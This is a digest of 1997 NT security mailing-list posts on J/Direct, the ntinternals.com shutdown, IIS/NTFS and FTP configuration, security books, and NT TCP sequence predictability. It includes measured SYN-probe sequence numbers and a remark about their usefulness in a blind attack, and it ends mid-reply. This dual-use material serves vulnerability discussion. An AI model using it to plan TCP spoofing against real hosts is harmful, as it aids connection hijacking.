> ----------
> From: w.wessels@cc.ruu.nl[SMTP:w.wessels@cc.ruu.nl]
> Reply To: w.wessels@cc.ruu.nl
> Sent: Wednesday, July 02, 1997 11:13 PM
> To: ntsecurity@iss.net
> Subject: [NTSEC] JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
> 
> This i read in *** MSDNFlash ***
> 
> Is this secure, can someone explain or point me to more information
> about this?
> 
> Wouter.
> 
> ------------------------------------------------
> JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
> J/Direct allows developers to call the entire Win32 API directly,
> expanding the breadth and convenience of access to Windows-based
> services
> available to programmers using the Java programming language. Learn
> more
> about J/Direct by visiting 
> http://www.microsoft.com/java/. 
> --------------------------------------------------
> 
> 
Check this out: http://www.news.com/Rumors/0,29,,00.html
Says Microsoft wasn't too happy with them. :)

Jason Nash

> -----Original Message-----
> From: Donald M. Barnard Jr. [SMTP:barnardm@TIAC.NET]
> Sent: Wednesday, July 02, 1997 6:02 PM
> To: NTBUGTRAQ@RC.ON.CA
> Subject: Re: www.ntinternals.com site down indefinitly - Why?
> 
> >>Can it be that Microsoft has put its legal thumb on them and started
> to
> squeeze? They have indeed revealed quite a few NT "secrets"
> lately...<<
> 
> My impression is that they want to start making money for their
> efforts. They have a new site for that.
> 
> Don
> 
> From: Lars Fosdal [SMTP:lfosdal@FALCON.NO]
> Sent: Wednesday, July 02, 1997 3:43 AM
> To: NTBUGTRAQ@RC.ON.CA
> Subject: www.ntinternals.com site down indefinitly - Why?
>>RESOLUTION
>>==========
>>
>>Microsoft has updated the TCP/IP protocol stack to correct the problem.
>>Instructions for installing it are available from Microsoft support
channels,
>>or directly from the Internet locations below.
>>


I would hardly call MS's fix a resolution. After installing the icmp-fix
on one of our servers (SP3+oob-fix) we can no longer successfully ping the
server! ssping no longer freezes the machine as well, so it kind of looks
like the fix worked. Has anyone else seen this and/or come up with a way to
re-enable standard pings?

-Russ

One or both of these questions may be off topic a bit, but this seems 
the most appropriate place to ask:

Question #1:

Although I know the "Official" answer is that it can't be done, I'm 
wondering if there is any way to turn a member server into a BDC or 
PDC without an OS re-install? (Via registry hack, etc.)

Question #2:

Scenario:

Server #1 3.51 with an internal Hard Drive C: (NTFS), external raid 5 tower 
D: (also NTFS)
Server #2 3.51 with an internal Drive C: (NTFS)

Ok, the question is: is it possible, without loosing the permissions 
and shares set up on Server 1 Drive D, to unplug it from Server one, and 
plug it into server 2. (assuming that all hardware is in fact 
compatible, etc., etc.) I'm not up on the internals of NTFS, but it 
would seem to me that the file permissions and security would stay, 
but the shares would be lost... am I correct?

Thanks in advance:
---
Patrick Patterson
Senior Network Systems Analyst
Canadian Network Security Service


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCPAjN5piQAAAEEANHuKBtOKFKRc9xceuyUSMIPMaJFRKAoylT2siM1JiabSQgt
VhpTtD9NYjiuVyV3Q4I2ABdCJ0vhYr5tYw0pxDrFUvViwL4ItoCt0xBG2vxRdQST
UuadiW69Jof09uAP9IFrifBBj4r2V9JsF/R0Geu1XS81SLjb7rqc3sMKNyclABEB
AAG0I1BhdHJpY2sgUGF0dGVyc29uIDxjbnNzQGFjY2VudC5uZXQ+iQCVAgUQM3mm
L7qc3sMKNyclAQFDGAQArrUeAi+qCl3Cn+2mqOpWxYwUWQf5ti6AnE/9L74eaWgQ
yCr9Na5BPOJ4iorx9G9ZDa77xxJ7TWNUsd1f9nLlf+Zz1pqaIX6RbSSsYZHRTb6F
PMP0H5Hi7NSWLsCVzgI++CHFSPHBM+pAT1QnPTeKnXmZFd2Ymvt75fftdASi6Y8=
=qDPL
-----END PGP PUBLIC KEY BLOCK-----
To start:

Sheldon, Tom. Windows NT Security Handbook. Berkeley,
 California, USA: McGraw-Hill, 1997.

Sutton, Steve. Windows NT Security. Urbana, Illinois, USA: Trusted
 Systems, 1994.



Dimitris Tsapakidis wrote:
> 
> Hello all,
> 
> Which books would you recommend on NT4.0 Workstation & Server
> Security? Thanks,
> 
> Dimitris
> 
> --
> Dimitris Tsapakidis http://www.rabbit.co.uk/dimitris/
> dimitris@alien.bt.co.uk Security Research, BT Labs, Ipswich, UK
Hi,

I'm running NT4 Svr, IIS 3, Svc Pack 3 and have a problem with NTFS (I think).

IUSR_machine executes, from html, a compiled Visual Basic 5 program, which
is located in the Scripts directory. The program reads an ini file, also
located in scripts, to determine the name and physical file location of an
Access data base (mdb) file, e.g. C:\somedirectory\data.mdb.

All is fine until it is time to read the data base file. File security for
the directory and data base file is SO permissive, you could drive 6 Mac
Trucks through it. However, the only way I can get it to read the data
base is to make IUSR a member of the Administrators Group.

With Ojbect auditing, success and failure, on, the vanilla IUSR never
accesses the data base file - there is no success or failure entry.

Two of us have exhausted several hours of checking and trying and we're
open to any suggestions.

--
Don Brown - Dallas, Texas USA Internet Concepts, Inc.
donbrown@inetconcepts.net Low Cost Internet Access
http://www.inetconcepts.net Complete Internet Services
--
I don't have a lot of experience with Proxy Server, on a firewall you could 
make sure that the DNS points to the Firewall server as the mail exchanger, 
then have a rule on the firewall that points the SMTP to the mail server on 
the inside. Another way to do it would be to broadcast another outside 
address and have the firewall redirect traffic for that address to the 
address of the mail server on the inside.

BTW, I believe that it is RFC 1918 that defines the address reserved for 
non-connected networks.

Robert Aitchison
robert.aitchison@infodial.net

-----Original Message-----
From: Charlie Derk [SMTP:charlie@eaki.net]
Sent: Wednesday, July 02, 1997 5:53 PM
To: ntsecurity@iss.net
Subject: [NTSEC] Proxy Server Security

I recently installed Proxy server on an NT4.0 (SP3) machine at a customer's
site who we are feeding with a 56k frame relay line. I realize that PING
and TRACERT will not work from workstations on their LAN for security
purposes, but I'm having problems with MS Internet Mail. Does allowing
mail to go through pose a security problem as well? I read the docs from
MS on proxy server and it says that it supports mail and news.
I have heard good things about the Windows NT Security Handbook by Tom 
Sheldon, I just ordered one, you can get it at Bookpool for $21.95. The 
end of the ISBN is 0078822408

-----Original Message-----
From: Dimitris Tsapakidis [SMTP:dimitris@alien.bt.co.uk]
Sent: Thursday, July 03, 1997 7:26 AM
To: ntsecurity@iss.net
Subject: [NTSEC] NT Security books?

Which books would you recommend on NT4.0 Workstation & Server
Security? Thanks,
Windows NT Security Handbook

Tom Sheldon

McGraw Hill Publishing

-------------------
Mark Fearer
mfearer@securid.com
voice 617 687 7361
fax 617 687 7014

> ----------
> From: Dimitris Tsapakidis[SMTP:dimitris@alien.bt.co.uk]
> Reply To: Dimitris Tsapakidis
> Sent: Thursday, July 03, 1997 10:25 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] NT Security books?
> 
> Hello all,
> 
> Which books would you recommend on NT4.0 Workstation & Server
> Security? Thanks,
> 
> Dimitris
> 
> -- 
> Dimitris Tsapakidis http://www.rabbit.co.uk/dimitris/
> dimitris@alien.bt.co.uk Security Research, BT Labs, Ipswich, UK
> 


Hi Guys,
 Could someone point me to any FAQ about how to configure NT Server 4.0
as a web server on the Internet. I know a fair bit about NT and
configuring IIS. What I am after is more knowledge about which services
to turn off, which DLLs, etc that can be deleted as per a UNIX firewall
strip down and any other useful information.

Thanks in advance.
-- 
Mario Piazzese, Senior Systems Engineer, Ultradata Australia Pty. Ltd.
1919 Malvern Road, East Malvern, Victoria, Australia 3145.
P.O. Box 42, Carnegie, Victoria, Australia, 3163.
Voice: +61-3-9291-1600, Fax: +61-3-9885-2222
On Thu, 3 Jul 1997, Paul Leach wrote:

> If you're using Java to write applications, not applets, then the usual
> sandboxing isn't an issue -- by definition, a Java _application_ gets
> complete access to the local machine, so that if (say) you're writing a
> spreadsheet in Java, it can read, write, create and delete spreadsheet
> files.
The problem is just, that using native Java API your application will
run just on any Java-enabled computer. Using J/direct it will run on what
ever comes from Redmond.

Andreas
P.S.: Portability was one of the ideas behind Java, right?



This seems like rather an affront to developers for MS platforms, and an
offense to the user populace as a whole, don't you think? I realize this
is wayyy off topic, and this'll be my last public message about this. But,
perhaps we should all let MS know how much we enjoyed www.ntinternals.com,
and how unhappy we are with this clear attack on free speech, freedom of
the press, etc etc etc...

Flames >> /dev/null

Support >> jiva@devware.com

At 01:19 PM 7/3/97 -0400, Nash, Jason X wrote:
>Check this out: http://www.news.com/Rumors/0,29,,00.html
>Says Microsoft wasn't too happy with them. :)
>
>Jason Nash
>
>> -----Original Message-----
>> From: Donald M. Barnard Jr. [SMTP:barnardm@TIAC.NET]
>> Sent: Wednesday, July 02, 1997 6:02 PM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: Re: www.ntinternals.com site down indefinitly - Why?
>> 
>> >>Can it be that Microsoft has put its legal thumb on them and started
>> to
>> squeeze? They have indeed revealed quite a few NT "secrets"
>> lately...<<
>> 
>> My impression is that they want to start making money for their
>> efforts. They have a new site for that.
>> 
>> Don
>> 
>> From: Lars Fosdal [SMTP:lfosdal@FALCON.NO]
>> Sent: Wednesday, July 02, 1997 3:43 AM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: www.ntinternals.com site down indefinitly - Why?
>
>>Server #1 3.51 with an internal Hard Drive C: (NTFS), external raid 5 
tower
D: (also NTFS)
Server #2 3.51 with an internal Drive C: (NTFS)

Ok, the question is: is it possible, without loosing the permissions
and shares set up on Server 1 Drive D, to unplug it from Server one, and
plug it into server 2. (assuming that all hardware is in fact
compatible, etc., etc.) I'm not up on the internals of NTFS, but it
would seem to me that the file permissions and security would stay,
but the shares would be lost... am I correct?<<

Yes, you would lose the shares, but you can migrate those by copying 
portions of the registry over to server2.

NTFS permissions will remain the same but with some possible problems. If 
you applied permissions using accounts from a DC, and built in local groups 
and accounts, then it should work. But if you added any new local 
groups/accounts on server1, and used those in NTFS permissions, then those 
groups/accounts either wont exist on server2, or there will be 
groups/accounts with the same name on server2, but with different SIDs.

What I would expect to see on server2 are some "unknown account" references 
when viewing NTFS permissions that included these non-built in local groups 
and accounts from server1 -assuming there were any.

Don


-----Original Message-----
From: Patrick Patterson [SMTP:cnss@accent.net]
Sent: Thursday, July 03, 1997 9:41 AM
To: ntsecurity@iss.net
Subject: [NTSEC] Server to BDC?? and NTFS Question


>> However, the only way I can get it to read the data
base is to make IUSR a member of the Administrators Group.<<

Sounds like IUSR needs a user right that administrators have, but not other 
users. It might be something like log on locally, log on as a batch file, 
or something more obscure, but that's where I would start looking.

Don

-----Original Message-----
From: Don Brown [SMTP:donbrown@inetconcepts.net]
Sent: Thursday, July 03, 1997 3:52 PM
To: ntsecurity@iss.net
Subject: [NTSEC] NTFS Problem


At 07:12 PM 7/3/97 -0700, you wrote:
>This seems like rather an affront to developers for MS platforms, and an
>offense to the user populace as a whole, don't you think? I realize this
>is wayyy off topic, and this'll be my last public message about this. But,
>perhaps we should all let MS know how much we enjoyed www.ntinternals.com,
>and how unhappy we are with this clear attack on free speech, freedom of
>the press, etc etc etc...


I just wonder how much they paid Mark Russinovich and Bryce Cogswell.

Wish I'd thought of it myself :)




randall g =%^)>
mailto:randallg@telemark.net
http://www.telemark.net/~randallg

At 09:49 AM 7/3/97 -0700, LES MAYEDA TECH SUPPORT/ISS X6656 wrote:
>Hello,
>
>Does anyone know how to setup IIS ftp where when the actual NT
>users ftp in they get their own home directory, as defined
>in the User Manager, and not the ftproot directory?
>
>If this cannot be done, how does everyone support ftp for their
>NT Users?
>
>
>Thanks,
>
>Les Mayeda
>Cedars-Sinai Medical Center
>mayeda@csmc.edu
>
Hi,

First create a group ftpuser. Make this the primary and only group for your
ftp users. Give the group rights to access this computer from the network
an log on locally.
Within the IIS administration tool create virtual directories with read write
access for the physical directories you want and last give the user 
full controll for this directory. 

That's all,

hope it helps.

 Ralf Becker 

-------------------------------------------------------
becom Systemhaus GmbH Mail: becker@becom.net
Nacamar-PoP Giessen/Wetzlar http://www.becom.net
Giessener Strasse 46 Tel: +49 6441 96500
D-35633 Lahnau Fax: +49 6441 965050 


LES MAYEDA TECH SUPPORT/ISS X6656 wrote:

> Hello,
>
> Does anyone know how to setup IIS ftp where when the actual NT
> users ftp in they get their own home directory, as defined
> in the User Manager, and not the ftproot directory?
>
>

I have found only one solution:The username must be the same as the
subdir of the ftproot. The User Manager settings don't apply, although
they should...
Using this workaround means that you have adjust IIS ftproot to match
your users dir.


> If this cannot be done, how does everyone support ftp for their
> NT Users?
>
> Thanks,
>
> Les Mayeda
> Cedars-Sinai Medical Center
> mayeda@csmc.edu

--
Jukka Eloranta
jukka.eloranta@tietotehdas.fi

...
>If you're using it to write an applet, then its equivalent to an ActiveX
>control. You'd sign the applet, and only people who trust you will
>download it. Kind of like buying something in original shrink wrap from
>an Egghead, only with less chance of tampering.
>

Well, if your try to tell that buying a piece of software in a shop
is less safe then download it from the net I disagree.


Wouter.
>> ----------
>> From: w.wessels@cc.ruu.nl[SMTP:w.wessels@cc.ruu.nl]
>> Reply To: w.wessels@cc.ruu.nl
>> Sent: Wednesday, July 02, 1997 11:13 PM
>> To: ntsecurity@iss.net
>> Subject: [NTSEC] JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
>> 
>> This i read in *** MSDNFlash ***
>> 
>> Is this secure, can someone explain or point me to more information
>> about this?
>> 
>> Wouter.
>> 
>> ------------------------------------------------
>> JAVA DEVELOPERS GET DIRECT ACCESS TO WINDOWS
>> J/Direct allows developers to call the entire Win32 API directly,
>> expanding the breadth and convenience of access to Windows-based
>> services
>> available to programmers using the Java programming language. Learn
>> more
>> about J/Direct by visiting 
>> http://www.microsoft.com/java/. 
>> --------------------------------------------------
>> 
>> 
>
>
>
>

I don't believe this is possible. We're running an ISP with NT, and we've
found a program called ServU FTP server that works very nicely. It has
exactly what you are looking for... and more! You can drop users in to any
directory you want. You can set individual login/log-off messages, set U/L
to D/L ratios and everything...

It may be worth checking in to. I think it only costs a couple bucks..

HTH,
Charlie

At 09:49 AM 7/3/97 -0700, LES MAYEDA TECH SUPPORT/ISS X6656 wrote:
>Hello,
>
>Does anyone know how to setup IIS ftp where when the actual NT
>users ftp in they get their own home directory, as defined
>in the User Manager, and not the ftproot directory?
>
>If this cannot be done, how does everyone support ftp for their
>NT Users?
>
>
>Thanks,
>
>Les Mayeda
>Cedars-Sinai Medical Center
>mayeda@csmc.edu
>
>
>
Have a look at TREND MICRO ScanMail for Exchange:
http://www.trendmicro.com/
Have succesfully implemented it.
Regards,
Remco Bakker
-- 
 Een veilig net met PointNet Security Systems bv
 http://www.pointnet.nl/pss
 Postbus 38 3880 AA Putten tel 0577 462715 fax 462627
 PointNet Security Systems maakt deel uit van de PointGroup
 te Alphen a/d Rijn
Check out http://www.glueckkanja.de for VirusEx

On Thu, 3 Jul 1997, Turner, Bob wrote:

> Is anyone successfully running an Anti-Virus Service that runs with 
> Exchange Server? I'd like to have attachments scanned when they go 
> through Exchange Server.
> 
> What products do you recommend and why?
> 
> Bob
> 

unless the originator from www.ntinternals.com do stand out and clarify
upon the reason, I guess more of us will keep pointing fingers at the
redmond microorganisms? so much for bad publicity...but it gets
people talking.

--------------------------------------------------------------------------------------------------------
Henry Lim Office: Techpoint 
Systems Engineer, Projects PTSC Tel: (65) 4865259
National Computer Systems Office: Chadwick, Science Park
 Tel: (65) 8705413
 Pgr: 96072182
 email: cwlim@ncs.com.sg
 
Disclaimer: All my opinions are my own and could arise from lack of sleep.
 So give me your most gracious forgiveness.
 All flames > ../devices/pseduo/mm@0:null
--------------------------------------------------------------------------------------------------------

-----Original Message-----
From: Jiva DeVoe [SMTP:jiva@devware.com]
Sent: 04 July 1997 02:13
To: Nash, Jason X; NTBUGTRAQ@RC.ON.CA
Cc: 'ntsecurity@iss.net'
Subject: Re: [NTSEC] RE: www.ntinternals.com site down indefinitly -Why?

This seems like rather an affront to developers for MS platforms, and an
offense to the user populace as a whole, don't you think? I realize this
is wayyy off topic, and this'll be my last public message about this. But,
perhaps we should all let MS know how much we enjoyed www.ntinternals.com,
and how unhappy we are with this clear attack on free speech, freedom of
the press, etc etc etc...

Flames >> /dev/null

Support >> jiva@devware.com

At 01:19 PM 7/3/97 -0400, Nash, Jason X wrote:
>Check this out: http://www.news.com/Rumors/0,29,,00.html
>Says Microsoft wasn't too happy with them. :)
>
>Jason Nash
>
>> -----Original Message-----
>> From: Donald M. Barnard Jr. [SMTP:barnardm@TIAC.NET]
>> Sent: Wednesday, July 02, 1997 6:02 PM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: Re: www.ntinternals.com site down indefinitly - Why?
>> 
>> >>Can it be that Microsoft has put its legal thumb on them and started
>> to
>> squeeze? They have indeed revealed quite a few NT "secrets"
>> lately...<<
>> 
>> My impression is that they want to start making money for their
>> efforts. They have a new site for that.
>> 
>> Don
>> 
>> From: Lars Fosdal [SMTP:lfosdal@FALCON.NO]
>> Sent: Wednesday, July 02, 1997 3:43 AM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: www.ntinternals.com site down indefinitly - Why?
>

actually, you can alias your home directories by using the virtual directories.
for example, aliasing c:\users\xuser to /xuser in the ftproot directory.
Whatever files ftp'ped in and out will still gets to stay in c:\users\xuser.

--------------------------------------------------------------------------------------------------------
Henry Lim Office: Techpoint 
Systems Engineer, Projects PTSC Tel: (65) 4865259
National Computer Systems Office: Chadwick, Science Park
 Tel: (65) 8705413
 Pgr: 96072182
 Hp : 96759338
 email: cwlim@ncs.com.sg
 
Disclaimer: All my opinions are my own and could arise from lack of sleep.
 So give me your most gracious forgiveness.
 All flames > ../devices/pseduo/mm@0:null
--------------------------------------------------------------------------------------------------------

-----Original Message-----
From: Charlie Derk [SMTP:charlie@eaki.net]
Sent: 04 July 1997 00:19
To: LES MAYEDA TECH SUPPORT/ISS X6656; ntsecurity@iss.net
Subject: Re: [NTSEC] ftp for NTServer User Accounts using IIS

I don't believe this is possible. We're running an ISP with NT, and we've
found a program called ServU FTP server that works very nicely. It has
exactly what you are looking for... and more! You can drop users in to any
directory you want. You can set individual login/log-off messages, set U/L
to D/L ratios and everything...

It may be worth checking in to. I think it only costs a couple bucks..

HTH,
Charlie

At 09:49 AM 7/3/97 -0700, LES MAYEDA TECH SUPPORT/ISS X6656 wrote:
>Hello,
>
>Does anyone know how to setup IIS ftp where when the actual NT
>users ftp in they get their own home directory, as defined
>in the User Manager, and not the ftproot directory?
>
>If this cannot be done, how does everyone support ftp for their
>NT Users?
>
>
>Thanks,
>
>Les Mayeda
>Cedars-Sinai Medical Center
>mayeda@csmc.edu
>
>
>

On Thursday, July 03, 1997 6:19 PM, Nash, Jason X 
[SMTP:NashWJ@exchange1.usps.gov] wrote:
> Check this out: http://www.news.com/Rumors/0,29,,00.html
> Says Microsoft wasn't too happy with them. :)
>
> Jason Nash
>
> > -----Original Message-----
> > From: Donald M. Barnard Jr. [SMTP:barnardm@TIAC.NET]
> > Sent: Wednesday, July 02, 1997 6:02 PM
> > To: NTBUGTRAQ@RC.ON.CA
> > Subject: Re: www.ntinternals.com site down indefinitly - Why?
> >
> > >>Can it be that Microsoft has put its legal thumb on them and started
> > to
> > squeeze? They have indeed revealed quite a few NT "secrets"
> > lately...<<
> >

hypothetically speaking, of course, since no-one could possibly be 
interested in 'sensitive' material that upsets major software companies, 
does anyone have an opinion on whether anyone might have managed to mirror 
or archive all the useless and uninteresting stuff that such a site might 
or might not have carried?

> > My impression is that they want to start making money for their
> > efforts. They have a new site for that.
> >

where's that?

> > Don
> >
> > From: Lars Fosdal [SMTP:lfosdal@FALCON.NO]
> > Sent: Wednesday, July 02, 1997 3:43 AM
> > To: NTBUGTRAQ@RC.ON.CA
> > Subject: www.ntinternals.com site down indefinitly - Why?
>

just wondering

================================================
 Jeremy Davies 

 Orb Integration Technologists Limited
 93 Tabernacle St, London EC2A 4BA, England.
 Phone: +44-171-490-1888 Fax: +44-171-490-7757
 Mobile: +44-956-657268
================================================

If the cause of the site disappearing is down to pressure from M$, then I 
agree with the sentiments expressed. Mickeysoft are good at this sort of 
thing. More importantly though, I believe that it shows the way of things, 
when in the future, the Microsoft Borg has assimilated just about all known 
software vendors, so that all we're left with is a choice of M$ software or 
squat. 

Are we all collectively too stupid to wake up to this, or am I missing 
something here?


Clem

______________________________ Reply Separator _________________________________
Subject: Re: [NTSEC] RE: www.ntinternals.com site down indefinitly 
Author: jiva (jiva@devware.com) at unix,mime
Date: 04/07/97 03:12


This seems like rather an affront to developers for MS platforms, and an 
offense to the user populace as a whole, don't you think? I realize this 
is wayyy off topic, and this'll be my last public message about this. But, 
perhaps we should all let MS know how much we enjoyed www.ntinternals.com, 
and how unhappy we are with this clear attack on free speech, freedom of 
the press, etc etc etc...

Flames >> /dev/null

Support >> jiva@devware.com

At 01:19 PM 7/3/97 -0400, Nash, Jason X wrote:
>Check this out: http://www.news.com/Rumors/0,29,,00.html 
>Says Microsoft wasn't too happy with them. :)
>
>Jason Nash
>
>> -----Original Message-----
>> From: Donald M. Barnard Jr. [SMTP:barnardm@TIAC.NET] 
>> Sent: Wednesday, July 02, 1997 6:02 PM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: Re: www.ntinternals.com site down indefinitly - Why? 
>> 
>> >>Can it be that Microsoft has put its legal thumb on them and started 
>> to
>> squeeze? They have indeed revealed quite a few NT "secrets" 
>> lately...<<
>> 
>> My impression is that they want to start making money for their 
>> efforts. They have a new site for that.
>> 
>> Don
>> 
>> From: Lars Fosdal [SMTP:lfosdal@FALCON.NO] 
>> Sent: Wednesday, July 02, 1997 3:43 AM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: www.ntinternals.com site down indefinitly - Why? 
>

>Which books would you recommend on NT4.0 Workstation & Server security?

Tom Sheldon's "Windows NT Security handbook" (Osborne / McGraw Hill) is pretty good....

Regards

Bob


Hi Russ, 

I've aplied the ICMP-fix in my server (SP3+oob-fix) and it works perfect.
I can ping both NICs on that machine. Check the routing tables. Maybe there
is a lickage somewhere.

Geia
Stelios

>
>I would hardly call MS's fix a resolution. After installing the icmp-fix
>on one of our servers (SP3+oob-fix) we can no longer successfully ping the
>server! ssping no longer freezes the machine as well, so it kind of looks
>like the fix worked. Has anyone else seen this and/or come up with a way to
>re-enable standard pings?
>
>-Russ
>
>

On 3 Jul 97 at 13:19, Nash, Jason X wrote:

> Check this out: http://www.news.com/Rumors/0,29,,00.html
> Says Microsoft wasn't too happy with them. :)

More rumours from a Usenet post in comp.os. .. .nt.kernel-mode:

"..they had some legal troubles. NTFS is subject to some MS 
 patents and one of the utilities they provided was infringing."

--Alan--
acr@als.co.uk
On Fri, 30 May 1997, David LeBlanc wrote:
[ Yes, this is a reply to an old message. ]
> I had previously stated that NT was TCP sequence predictable. In response
> to a question, I did a bit of research on our network and found the following:
> 
> This is largely fixed in SP3. Instead of being from 15-85% predictable, it
> is now from 5% to ~20% predictable. This is fairly reasonable.

I'm not sure how you arrive at these figures, but I've been doing a little
playing in this area, and find NT still _very_ predictable.

One approach is to send off SYNs a fixed time period apart, and calculate
the increment for each returned sequence number over the last...

[ 1/10s. apart ]
00 seq=04E71166 inc=+0
01 seq=04E711D4 inc=+110
02 seq=04E71243 inc=+111
03 seq=04E712B1 inc=+110
04 seq=04E7131F inc=+110
05 seq=04E7138D inc=+110
06 seq=04E713FB inc=+110
07 seq=04E71469 inc=+110
08 seq=04E714D7 inc=+110
09 seq=04E71546 inc=+111
10 seq=04E715B4 inc=+110
11 seq=04E71622 inc=+110
12 seq=04E71690 inc=+110
13 seq=04E716FE inc=+110
14 seq=04E7176C inc=+110
15 seq=04E717DB inc=+111
16 seq=04E71849 inc=+110
17 seq=04E718B7 inc=+100
19 seq=04E71989 inc=+110

And another (slightly less useful for a blind attack) is to send off
two SYNs immediately after each other, and calculate the difference
between the returned sequence numbers...

[ 1s. apart ]
00 04E7C101 04e7c101 +0
01 04E7C4EA 04e7c4ee +4
02 04E7C8DE 04e7c8de +0
03 04E7CCD1 04e7ccd5 +4
04 04E7D0C5 04e7d0c5 +0
05 04E7D4B8 04e7d4bc +4
06 04E7D8A2 04e7d8ac +10
07 04E7DC95 04e7dc99 +4
08 04E7E088 04e7e088 +0
09 04E7E47C 04e7e480 +4
10 04E7E86F 04e7e86f +0
11 04E7EC63 04e7ec67 +4
12 04E7F056 04e7f056 +0
13 04E7F440 04e7f44a +10
14 04E7F833 04e7f833 +0
15 04E7FC27 04e7fc2b +4
16 04E8001A 04e8001a +0
17 04E8040E 04e80412 +4
18 04E80801 04e80801 +0
19 04E80BF4 04e80bf8 +4

This is to an otherwise quiet NT4/SP3/all-hotfixes box one hop away.
(I get similar results for a box three hops away, and another busier one
nine hops away, but still on this side of the Atlantic.)

> For comparison, IRIX, HP-UX, SunOS, and AIX are all _extremely_ predictable
> - 50% or better on a consistent basis. BSD is typically very predictable.

You can also add Digital Unix to this list.

> However, Linux and Solaris are best at this, and are consistently 5%
> predictable or less. I would like to see NT join this group, but SP3 shows
> a substantial improvement.

... or has it? (I don't _think_ I've got my code wrong, as it produces
the expected results against other boxen.)

Has anybody else played with this?

Cheers,

 -- Bob

R.Tinsley@rhbnc.ac.uk Mobile: +44 973 669346

RESISTANCE IS FUTILE YOU WILL BE ASSIMULATED.

It occurs to me that the folks who owned NTINTERNALS
have either had the fear of god put on them with legal heavy weights
or they had a sizable $$ offer to shut it down.. or both.

To respond about 'not waking up to the bigger picture' comments.....
(AKA MS dominating the world)
If u slowly start to irritate something or someone initially it is ignored.
By the time it gets painful it is often too late. 
In this case slow incremental disadvantages are not considered bad enough for the benefits 
that MS has brought (which they have). It will be a few years later that people might start to have serious thoughts
about whether they should have chosen MS as the core of their technology.

Just my thoughts...

Thanks for listening

Alex O.
sorry this is a little of topic.
----------
From: Clem.Dye@gb.swissbank.com[SMTP:Clem.Dye@gb.swissbank.com]
Sent: 04 July 1997 08:58
To: jiva@devware.com
Cc: NashWJ@exchange1.usps.gov; NTBUGTRAQ@RC.ON.CA; ntsecurity@iss.net
Subject: Re: [NTSEC] RE: www.ntinternals.com site down indefinitly 

If the cause of the site disappearing is down to pressure from M$, then I 
agree with the sentiments expressed. Mickeysoft are good at this sort of 
thing. More importantly though, I believe that it shows the way of things, 
when in the future, the Microsoft Borg has assimilated just about all known 
software vendors, so that all we're left with is a choice of M$ software or 
squat. 

Are we all collectively too stupid to wake up to this, or am I missing 
something here?


Clem

______________________________ Reply Separator _________________________________
Subject: Re: [NTSEC] RE: www.ntinternals.com site down indefinitly 
Author: jiva (jiva@devware.com) at unix,mime
Date: 04/07/97 03:12


This seems like rather an affront to developers for MS platforms, and an 
offense to the user populace as a whole, don't you think? I realize this 
is wayyy off topic, and this'll be my last public message about this. But, 
perhaps we should all let MS know how much we enjoyed www.ntinternals.com, 
and how unhappy we are with this clear attack on free speech, freedom of 
the press, etc etc etc...

Flames >> /dev/null

Support >> jiva@devware.com

At 01:19 PM 7/3/97 -0400, Nash, Jason X wrote:
>Check this out: http://www.news.com/Rumors/0,29,,00.html 
>Says Microsoft wasn't too happy with them. :)
>
>Jason Nash
>
>> -----Original Message-----
>> From: Donald M. Barnard Jr. [SMTP:barnardm@TIAC.NET] 
>> Sent: Wednesday, July 02, 1997 6:02 PM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: Re: www.ntinternals.com site down indefinitly - Why? 
>> 
>> >>Can it be that Microsoft has put its legal thumb on them and started 
>> to
>> squeeze? They have indeed revealed quite a few NT "secrets" 
>> lately...<<
>> 
>> My impression is that they want to start making money for their 
>> efforts. They have a new site for that.
>> 
>> Don
>> 
>> From: Lars Fosdal [SMTP:lfosdal@FALCON.NO] 
>> Sent: Wednesday, July 02, 1997 3:43 AM
>> To: NTBUGTRAQ@RC.ON.CA
>> Subject: www.ntinternals.com site down indefinitly - Why? 
>



just name a alias with the same name as the user, like this
if the users is 

jsmith 

then in the ftp dir list add:

 /jsmith c:\users\jsmith

and that´s all :)

bye!
Hi,

I'm running NT4 Svr, IIS 3, Svc Pack 3 and have a problem with NTFS (I think).

IUSR_machine executes, from html, a compiled Visual Basic 5 program, which
is located in the Scripts directory. The program reads an ini file, also
located in scripts, to determine the name and physical file location of an
Access data base (mdb) file, e.g. C:\somedirectory\data.mdb.

All is fine until it is time to read the data base file. File security for
the directory and data base file is SO permissive, you could drive 6 Mac
Trucks through it. However, the only way I can get it to read the data
base is to make IUSR a member of the Administrators Group.

With Ojbect auditing, success and failure, on, the vanilla IUSR never
accesses the data base file - there is no success or failure entry.

Two of us have exhausted several hours of checking and trying and we're
open to any suggestions.
-----------------------

From: "Donald M. Barnard Jr." 
To: "ntsecurity@iss.net" 
Subject: RE: [NTSEC] NTFS Problem
Date: Fri, 4 Jul 1997 00:54:22 -0400
Sender: owner-ntsecurity@iss.net
Reply-To: "Donald M. Barnard Jr." 

>> However, the only way I can get it to read the data
base is to make IUSR a member of the Administrators Group.<<

Sounds like IUSR needs a user right that administrators have, but not other 
users. It might be something like log on locally, log on as a batch file, 
or something more obscure, but that's where I would start looking.

Don
-------------------------------------

I added IUSR to every right where the admin was listed, including the
advance rights. I then rebooted without any success - still can't access it.

This is a real hair puller . . .

Thanks,

--
Don Brown - Dallas, Texas USA Internet Concepts, Inc.
donbrown@inetconcepts.net Low Cost Internet Access
http://www.inetconcepts.net Complete Internet Services
--

On Fri, 4 Jul 1997, Bob Tinsley wrote:

> Has anybody else played with this?

Yes, but I went snooping around on Linux.. (having the source code to your
OS is a great thing). David LeBlanc got me curious when he mentioned that
his tests turned up linux as being 5% or less predictable.. Even though
this is a low number, I was still intrigued because sequence number
guessing isn't a one guess and you're out. You can keep guessing until
the target machine times out the connection. If it closed the connection
from bad sequence numbers, this would open the connections up for easy
denial of service, although I supposed the OS could behave differently
depending on whether the connection was fully open or not... Anyhow, I am
rambling.

The important part: Looking in drivers/char/random.c for the linux
kernel, I discovered that Linux generates a unique MD4 hash for every
source IP, source port, destination IP, and destination port combination
